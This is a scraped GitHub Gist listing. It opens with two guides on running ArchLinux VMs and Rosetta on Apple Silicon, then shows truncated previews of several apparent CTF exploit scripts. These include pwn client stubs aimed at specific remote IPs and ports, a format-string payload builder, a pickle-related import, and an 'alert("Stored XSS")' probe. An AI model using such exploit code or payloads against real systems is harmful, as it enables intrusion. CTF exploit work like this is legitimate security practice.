Skip to content

Instantly share code, notes, and snippets.

@peternguyen93
peternguyen93 / using_rosetta2_archlinux_arm64_m1.md
Last active June 17, 2024 11:49
Using Rosetta2 in Docker on ArchLinux VM Apple Silicon

Using Rosetta2 in Docker on ArchLinux arm64 - Apple M1

  1. Start vm with tart
tart run archlinux --no-graphics --dir=shared:~/Sources --rosetta=ROSETTA
  1. mount rosetta to Linux
sudo mkdir -p /mnt/rosetta
sudo mount -t virtiofs ROSETTA /mnt/rosetta
@peternguyen93
peternguyen93 / arch_linux_uefi_m1.md
Last active May 8, 2023 20:14
Install ArchLinux ARM64 UEFI boot on Apple Silicon Virtualization.framework

Install ArchLinux UEFI on M1 Virtualization.framework

1. Preparation

  • ISO gentoo aarch64 installation
  • tart a command line to create and run Virtual Machine in command line.

2. Setup

  • Create virtual machine with tart and boot into Gentoo Linux
tart create —linux archlinux
tart run --disk ./install-arm64-minimal-20221218T221711Z.iso archlinux
# Author : peternguyen93
import sys
sys.path.append('../') # back to vboxlib module
from vboxlib.hgcm import *
from vboxlib.chromium import *
from ctypes import *
'''
#!/usr/bin/python
# Author : peternguyen
from struct import *
from base64 import b64encode,b64decode
import requests
import re
import hashlib
import random
target = 'UOTp%I()<>S'
out = ''
for c in target:
found = False
for func_name in dir("")[::-1]:
try:
doc = getattr(getattr("",func_name),"__doc__")
if c in doc:
idx = doc.find(c)
out += "{0.%s.__doc__[%d]}" % (func_name,idx)
#!/usr/bin/python
# Author : peternguyen
from Pwn import *
p = Pwn(mode=1,host='47.75.128.158',port=9999)
def alloc(name,type):
p.sendint(1)
p.sendint(type)
import requests
import cPickle
import sys
import os
import hashlib
from base64 import b64encode, b64decode
import string
import json
import flask
from Pwn import *
p = Pwn(mode=1)
def pA32(*args):
binary = ''
for arg in args:
binary += p.p32(arg)
return binary
#!/usr/bin/python
# Author : peternguyen
from Pwn import *
# p = Pwn(mode=1,port=8887)
p = Pwn(mode=1,host='52.193.196.17',port=56746)
def select(op):
p.read_until('Your choice: ')
alert("Stored XSS");